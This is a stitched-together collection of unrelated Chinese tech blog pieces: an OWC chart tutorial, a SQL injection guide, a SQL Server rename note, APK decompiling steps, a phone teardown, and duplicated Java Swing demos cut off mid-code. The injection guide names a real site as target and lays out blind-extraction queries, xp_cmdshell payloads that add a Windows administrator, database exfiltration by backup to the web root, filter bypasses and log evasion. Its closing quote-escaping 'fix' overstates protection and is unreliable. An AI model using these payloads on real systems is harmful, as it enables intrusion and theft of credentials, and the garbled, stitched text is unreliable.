我们将设置系列数据（在X，Y valeus数据），使用使用SetData commands.For X轴，Y轴使用ChartDimensionsEnum.chDimCategories.For，使用 ChartDimensionsEnum.chDimValues.And然后将在X，Y的值对象你先前创建这里。

Dim series As ChSeries series = chart.SeriesCollection.Add(0)
With series
.Name = "Series 1"
.Caption = "Caption 1"
.SetData(ChartDimensionsEnum.chDimCategories, _
ChartSpecialDataSourcesEnum.chDataLiteral, xObjects)
.SetData(ChartDimensionsEnum.chDimValues, _
ChartSpecialDataSourcesEnum.chDataLiteral, yObjects)
.Line.Color = "Blue"
.Line.Weight = LineWeightEnum.owcLineWeightThin
End With

Data Labels
数据标签
Sometimes you want to add data labels or markers to the graph.
有时候你要添加数据标签或图形标记。

With series
.DataLabelsCollection.Add()
.DataLabelsCollection(0).Font.Name = "Verdana"
.DataLabelsCollection(0).Font.Size = 8
.Marker.Style = ChartMarkerStyleEnum.chMarkerStyleCircle
.Marker.Size = 6
End With

Configuring X-Axis (Important)
配置X轴（重要）
Recall that I encountered a strange problem when using date as X-Axis. The problem is that the Y values are all summed up every 7 days. This strange behavior can in fact be adjusted manually in the X-Axis, after modifying the GroupingType, GroupingUnit and GroupingTotalFunction properties. The default GroupingUnit is 1 week and the GroupingTotalFunction is SUM. That's why such behavior is resulted when nothing is set in advance.
回想一下，我遇到了一个奇怪的问题，当使用日期为X轴。但问题是，Y值都总结了每7天。 这种奇怪的现象，其实可以手动调整X轴，后修改GroupingType，GroupingUnit和GroupingTotalFunction属性。 默认GroupingUnit是1个星期的GroupingTotalFunction是SUM。这就是为什么这种行为是在没有结果的预先设定。
I have seen many web examples use chart.Axes(0) as X-Axis. Personally, I am not comfortable with it, please use chart.Axes(ChartAxisPositionEnum.chAxisPositionCategory) instead.
我见过很多网站的例子使用chart.Axes（0）为X轴。我个人不舒服，请使用chart.Axes（ChartAxisPositionEnum.chAxisPositionCategory）代替。
Also, to avoid the crowd tick in X-Axis, you can set the tick to display weekly but not daily.
此外，为了避免人群蜱在X轴，您可以设置要显示的刻度每周而不是每天。

With chart.Axes(ChartAxisPositionEnum.chAxisPositionCategory)
.HasTitle = True
.Title.Caption = "Date"
.Title.Font.Name = "Arial"
.Title.Font.Size = 8
.Font.Size = 8
.Font.Name = "Arial"
.NumberFormat = "dd/MM/yy"
.GroupingType = ChartAxisGroupingEnum.chAxisGroupingManual
.GroupingUnitType = ChartAxisUnitTypeEnum.chAxisUnitDay
.GroupingUnit = 1
.GroupingTotalFunction = ChartGroupingTotalFunctionEnum.chFunctionAvg
.TickLabelUnitType = ChartAxisUnitTypeEnum.chAxisUnitWeek
.TickMarkUnitType = ChartAxisUnitTypeEnum.chAxisUnitWeek
End With

Configuring Y-Axis
配置Y -轴
The Y-Axis is straightforward, put the Maxima and Minma that you have calculated earlier here. Also, set the major and minor grid lines.
Y轴很简单，把Maxima和Minma你已经在这里前面计算。此外，设置主要和次要网格线。
For Y-Axis, use chart.Axes(ChartAxisPositionEnum.chAxisPositionValue).
为Y轴，使用chart.Axes（ChartAxisPositionEnum.chAxisPositionValue）。

With chart.Axes(ChartAxisPositionEnum.chAxisPositionValue)
.HasTitle = True
.Title.Caption = "Price"
.Title.Font.Name = "Arial"
.Title.Font.Size = 8
.Font.Size = 8
.Font.Name = "Arial"
.Scaling.Maximum = yMax
.Scaling.Minimum = yMin
.MajorUnit = 50
.MajorGridlines.Line.Color = "Gray"
.MinorUnit = 10
.MinorGridlines.Line.Color = "LightGray"
.MinorGridlines.Line.DashStyle = ChartLineDashStyleEnum.chLineSolid
.HasMinorGridlines = True
End With

Finish and Export
完成进出口
If you have configured correctly, you should have seen a Line graph with data point plotted every day, and a weekly X-Axis tick label. If you would like to export your graph to a file, Microsoft provides an easy way using the following code. You can set the rendering file format (JPG, GIF) and the image size.
如果您有配置正确，您应该看到一个数据点线图绘制，每天和每周一次的X轴刻度标签。如果你想你的图形输出到一个文件，Microsoft提供了一个简单的方法使用以下代码。您可以设置渲染文件格式（JPG，GIF）和图像的大小。

Dim filePath As String = System.IO.Path.GetTempFileName() & ".gif"
Dim chartBytes As Byte() = AxChartSpace1.GetPicture("GIF", 1280, 960)
System.IO.File.WriteAllBytes(filePath, chartBytes) 'Save to image
Dim process As New System.Diagnostics.Process()
process.Start(filePath)

Points of Interest
兴趣点
I understand that it's difficult to use OWC at first, because OWC does not have a comment in both functions and properties. Sometimes, I have to open Microsoft Excel to understand what it means. Also, I have tried hard to include the properties that would be used commonly in this article, and hope it can help the beginner in OWC.
据我所知，很难在第一次使用OWC的，因为OWC的没有在这两个函数和属性的评论。有时候，我要打开Microsoft Excel明白这意味着什么。此外，我曾努力，包括将用于本文中常用的属性，并希望能够帮助初学者在OWC的。
If you are using .NET 3.5, you can try "Microsoft Chart Controls for Microsoft .NET Framework 3.5" which is a new chart control written by Microsoft.
如果您正在使用。NET 3.5，您可以尝试“微软微软图表控件。NET框架3.5”，这是一个新的图表控件微软写的。

    SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。

   但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。

   根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占 L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...

入 门 篇

   如果你以前没试过SQL注入的话，那么第一步先把IE菜单=>工具=>Internet选项=& gt;高级=>显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。

第一节、SQL注入原理

   以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。

   在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：

Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp，行8

从这个错误提示我们能看出下面几点：

1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。

第二节、判断能否进行ＳＱＬ注入

看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？其实，这并不是最好的方法，为什么呢？

首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的

那么，什么样的测试方法才是比较准确呢？答案如下：

① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2

这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：

可以注入的表现：

① 正常显示（这是必然的，不然就是程序有错误了）
② 正常显示，内容基本与①相同
③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）

   不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。

   当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

   不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。

   怎么让程序告诉你它使用的什么数据库呢？来看看：

   SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：

http://www.19cn.com/showdetail.asp?id=49 and user>0

   这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。

   顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了 sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。

   如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer 和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。

在确认可以注入的情况下，使用下面的语句：

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

   如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com /showdetail.asp?id=49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

   如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。

第一节、SQL注入的一般步骤

首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。

其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：

(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件]，即是生成语句：
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着，将查询条件替换成SQL语句，猜解表名，例如：

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。

表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。

有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。

有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。

最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。

我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：

http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

先说明原理：如果top 1的username长度大于0，则条件成立；接着就是>1、>2、>3这样测试下去，一直到条件不成立为止，比如>7成立，>8不成立，就是len(username)=8

当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。

第二节、SQL注入常用函数

有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。

Access：asc(字符) SQLServer：unicode(字符)
作用：返回某字符的ASCII码

Access：chr(数字) SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符

Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串

Access：abc(数字) SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）

Access：A between B And C SQLServer：A between B And C
作用：判断A是否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。

先说一点常识：

Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。

SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。

看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在 SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。

　　③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用 HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。

　　⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。

在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：

简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。

3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。

4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。

防 范 方 法

ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：

Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If ParaValue="" or not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。

接下来复制过去还原成虚拟机SQL2008RC02，当两个虚拟机都打开的情况下，如果都是MS-ZY的服务器名，那将无法识别，所以我将第二个虚拟机的机器名修改为MS-ZY2。这个我就可以使用SSMS通过这个名字来访问第二个数据库了。

一起看起来都不错，已经将这两个服务器通过名字分开了，而且我们通过SSMS也的确看到了2个不同的服务器：

但是在配置复制的时候却出了问题，我在MS-ZY上配置了数据库分发，配置成功，接下来想在MS-ZY2上配置订阅，可是却报错。于是我就试一下在MS-ZY2上配置分发，同样报错，报错内容为：

显然，我虽然在操作系统中将机器名修改为MS-ZY2了，但是在数据库中仍然使用的MS-ZY作为服务器名。怎么办呢唯一的办法就是修改数据库的服务器名。

请教了一下公司的同事，具体修改过程：

1.使用select @@ServerName可以看到当前数据库的服务器名，果然还是MS-ZY！

2.从Sys.SysServers表中可以看到当前的所有服务器名，也是MS-ZY！

3.使用 sp_dropserver 'MS-ZY' 将这个服务器名删除。

4.使用 sp_addserver 'MS-ZY2','LOCAL'将本地服务器重新添加到服务器表中，并且命名为MS-ZY2.

5.查询Sys.SysServers表，果然已经修改了。

6.重启数据库服务，修改完成，可以正常使用复制功能了 :)

其实操作还是十分的简单，但是由于修改服务器名这种情况实在太少见了，一般都是使用默认的，所以很多人都不知道如果修改，写下此文，希望对遇到和我相同问题的人有所帮助。

一、用.rar打开apk文档，得到文档结构图如下所示

二、将classes.dex文件解压出来，然后使用工具反编译成.jar文件，再进一步反编译出java文件

1.在cmd下进入dex2jar.bat所在路径，然后输入“dex2jar.bat XXX”，XXX指的是你要反编译的apk中的classes.dex文件所在路径及名称，比如：我的dex2jar.bat在D:\Android\apk_decode\dex2jar-0.0.7-SNAPSHOT路径下, classes.dex在D:\Android下，所以： 你进入dex2jar.bat路径下后，输入dex2jar.bat D:\Android\classes.dex，这样会生成一个jar文件。

2.用rar解压出jar文件中的class文件，然后用jad或DJ Java Decompiler反编译工具将.class文件反编译成.java文件

3.不解压出jar中的class文件，直接用JD GUI工具打开jar文件

4.步骤2和3选择其中一个即可，建议用步骤2，步骤3可能出现乱码

三、上面操作只能得到class文件，下面利用Google提供的apktool得到xml文件

1. 下载apktool，可以去Google的官方下载，地址：http://code.google.com/p/android-apktool/得，apktool-1.0.0.tar.bz2和apktool-install-windows-2.1_r01-1.zip两个包都要下。解压apktool.jar到 C:\Windows ，解压apktool-install-windows.zip到任意文件夹(例如E盘根目录)。

2. Win+R 运行CMD，用cd命令转到apktool-install-windows所在文件夹，输入apktool看看。会列出一些帮助的话就成功了（解释d为加压 第一个路径为你的apk所在的位置。第二个是要输出的位置）

apktool d XXX.apk ABC    反编译XXX.apk到文件夹ABC

3. 在解压后的文件夹中可以得到apk的xml配置文件

四、将“二”中得到的class文件和“三”中得到的xml文件组合成一个android工程，即可得到完整的apk源码。

apktool下载：apktool-install-windows-2.2_r01-2.tar.bz2
dex2jar下载：http://laichao.googlecode.com/files/dex2jar-0.0.7-SNAPSHOT.zip

左侧为原版Droid，右侧为新的Droid 2，可以看到两款机型外观的差别

背部对比，金色的装饰条换成了新的银色

左侧为iPhone 4，右侧为Droid 2

厚度对比，如果不算全键盘的话，Droid 2还是一款很薄的手机

拆下电池盖并取出电池

Droid 2使用的1390 mAh锂离子电池，可以提供9.5小时通话时间

Droid 2预装有一个8GB的MicroSD存储卡

撬开背部的金属装饰条

撕开电池仓底部的贴纸

镜头附近的塑料盖也需要翘起

现在就可以发现隐藏的螺丝

拆下螺丝之后，需要只用撬棒将使用卡扣连接的前后机身分开

五个金属条和对应的接触点，给耳机插孔进行信号传输

底部话筒单元可以单手取下

这样的话筒看起来和Droid为同一型号，得益于摩托罗拉的噪音消除技术，其手机的通话质量一直得到用户的称赞

下面进行的是主板部分

断开扬声器单元使用的排线

卸下螺丝

小心的翘起主板，注意下方的键盘连接线

这就是Droid 2的主板，其最值得炫耀的部分

黄色部分为高通QSC6085 CDMA芯片，红色部分为尔必达K4332C1PD-50-F，德州仪器OMAP 3630处理器有可能就在这下面，橙色部分为Numonyx NANDA9R4N4 1 Gbit (x16) NAND和DDR 512 Mbits (x16) LPSDRAM，就是Droid 2的ROM和RAM芯片，绿色部分为AKM 8973N 019A电子罗盘芯片，蓝色部分为S202 7927麦克风

红色部分为SanDisk的SDIN4C2 8GB NAND存储芯片， 橙色部分为TriQuint的TQM613029 CDMA双工放大器，黄色部分为Avago的FEM-7758 CDMA前端模块，蓝色部分为德州仪器51001582002电源管理IC，绿色部分为德州仪器WL1271B无线/蓝牙/FM芯片

红色部分为意法半导体的G 40N 025，旁边是不明用途的OST芯片

Droid 2的500万像素摄像头和LED闪光灯

先断开天线连接器和连接震动电机的排线，准备拆下触摸屏

分离时要注意排线

继续拆下剩余的螺丝

Java代码
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JFrameDemo
{
JFrame mainFrame;
public JFrameDemo() {
mainFrame = new JFrame ( "JFrameDemo Title" ); //创建一个JFrame
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );//设置关闭动作
mainFrame.setSize( 300,300 );//设置窗口大小
mainFrame.setLocationRelativeTo(null);//使窗口显示在屏幕中央

mainFrame.addWindowListener( new WindowListener(){
public void windowOpened( WindowEvent e ){ System.out.println( "window opened" ); }
public void windowClosing( WindowEvent e ){ System.out.println( "window closing" ); }
public void windowClosed( WindowEvent e ){ System.out.println( "window closed" ); }
public void windowIconified( WindowEvent e ){ System.out.println( "window iconified" ); }
public void windowDeiconified( WindowEvent e ){ System.out.println( "window deiconified" ); }
public void windowActivated( WindowEvent e ){ System.out.println( "window activated" ); }
public void windowDeactivated( WindowEvent e ){ System.out.println( "window deactivated" ); }
});
mainFrame.addWindowFocusListener( new WindowFocusListener(){
public void windowGainedFocus( WindowEvent e ){ System.out.println( "gained focus" ); }
public void windowLostFocus( WindowEvent e ){ System.out.println( "lost focus" ); }
});
mainFrame.addWindowStateListener( new WindowStateListener(){
public void windowStateChanged( WindowEvent e ){ System.out.println( "state changed" ); }
});

mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JFrameDemo();
}
}
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JFrameDemo
{
JFrame mainFrame;
public JFrameDemo() {
mainFrame = new JFrame ( "JFrameDemo Title" ); //创建一个JFrame
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );//设置关闭动作
mainFrame.setSize( 300,300 );//设置窗口大小
mainFrame.setLocationRelativeTo(null);//使窗口显示在屏幕中央

mainFrame.addWindowListener( new WindowListener(){
public void windowOpened( WindowEvent e ){ System.out.println( "window opened" ); }
public void windowClosing( WindowEvent e ){ System.out.println( "window closing" ); }
public void windowClosed( WindowEvent e ){ System.out.println( "window closed" ); }
public void windowIconified( WindowEvent e ){ System.out.println( "window iconified" ); }
public void windowDeiconified( WindowEvent e ){ System.out.println( "window deiconified" ); }
public void windowActivated( WindowEvent e ){ System.out.println( "window activated" ); }
public void windowDeactivated( WindowEvent e ){ System.out.println( "window deactivated" ); }
});
mainFrame.addWindowFocusListener( new WindowFocusListener(){
public void windowGainedFocus( WindowEvent e ){ System.out.println( "gained focus" ); }
public void windowLostFocus( WindowEvent e ){ System.out.println( "lost focus" ); }
});
mainFrame.addWindowStateListener( new WindowStateListener(){
public void windowStateChanged( WindowEvent e ){ System.out.println( "state changed" ); }
});

mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JFrameDemo();
}
}

==========================================================
这里出现了三个不同的窗口事件侦听器,并实现了它们所有的方法
WindowListener和WindowFocusListener都可以对窗口失去,获得焦点进行侦听,不同的是,非帧窗口和对话框窗口不能接收WindowListener的windowActivated和windodwDeactivated事件
虽然可以用WindowListener对窗口的一些状态进行侦听,但是WindowStateListener提供了更多的支持.例如,WindowStateListener可以处理还原窗口的事件,可以判断一个窗口是不是在垂直和水平两个方向都可以最大化(命令提示符窗口只可以在垂直方向上最大化),而这些都是WindowListener都无能为力
2.JLabel
JLabel是一标签.在它的文本里嵌入html标签,可以简单实现一个超链接组件

Java代码
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;
import java.io.*;
class JLabelDemo
{
JFrame mainFrame;
JLabel simpleLabel;
public JLabelDemo() {
mainFrame = new JFrame ( "JLabelDemo" );
simpleLabel = new JLabel ("<html><a href=aaa>百度搜索</a></html>");//嵌入了html标签
simpleLabel.addMouseListener( new MouseAdapter(){//添加鼠标事件侦听器,当单击标签时,打开网页
public void mouseClicked( MouseEvent e ){
try{
Runtime.getRuntime().exec("cmd /c start http://www.baidu.com");
}catch( IOException ee ){
ee.printStackTrace();
}
}
});
simpleLabel.setCursor( new Cursor(Cursor.HAND_CURSOR) );//设置手形鼠标
mainFrame.getContentPane().add( simpleLabel );//将标签添加到窗口
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();//使窗口自动根据添加了的组件调整大小
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JLabelDemo();
}
}
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;
import java.io.*;
class JLabelDemo
{
JFrame mainFrame;
JLabel simpleLabel;
public JLabelDemo() {
mainFrame = new JFrame ( "JLabelDemo" );
simpleLabel = new JLabel ("<html><a href=aaa>百度搜索</a></html>");//嵌入了html标签
simpleLabel.addMouseListener( new MouseAdapter(){//添加鼠标事件侦听器,当单击标签时,打开网页
public void mouseClicked( MouseEvent e ){
try{
Runtime.getRuntime().exec("cmd /c start http://www.baidu.com");
}catch( IOException ee ){
ee.printStackTrace();
}
}
});
simpleLabel.setCursor( new Cursor(Cursor.HAND_CURSOR) );//设置手形鼠标
mainFrame.getContentPane().add( simpleLabel );//将标签添加到窗口
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();//使窗口自动根据添加了的组件调整大小
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JLabelDemo();
}
}

3.JButton
JButton是一个按钮.它和JLabel一样的简单

Java代码
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;
import java.io.*;

class JButtonDemo
{
JFrame mainFrame;
JButton simpleButton;
public JButtonDemo() {
mainFrame = new JFrame ( "JButtonDemo" );
simpleButton = new JButton("百度搜索");
mainFrame.getContentPane().add( simpleButton );
simpleButton.addActionListener( new ActionListener(){//添加动作侦听器,当按钮被按下时执行这里的代码以打开网页
public void actionPerformed( ActionEvent e){
try{
Runtime.getRuntime().exec("cmd /c start http://www.baidu.com");
}catch( IOException ee ){
ee.printStackTrace();
}
}
});
simpleButton.setCursor( new Cursor(Cursor.HAND_CURSOR) );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JButtonDemo();
}
}
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;
import java.io.*;

class JButtonDemo
{
JFrame mainFrame;
JButton simpleButton;
public JButtonDemo() {
mainFrame = new JFrame ( "JButtonDemo" );
simpleButton = new JButton("百度搜索");
mainFrame.getContentPane().add( simpleButton );
simpleButton.addActionListener( new ActionListener(){//添加动作侦听器,当按钮被按下时执行这里的代码以打开网页
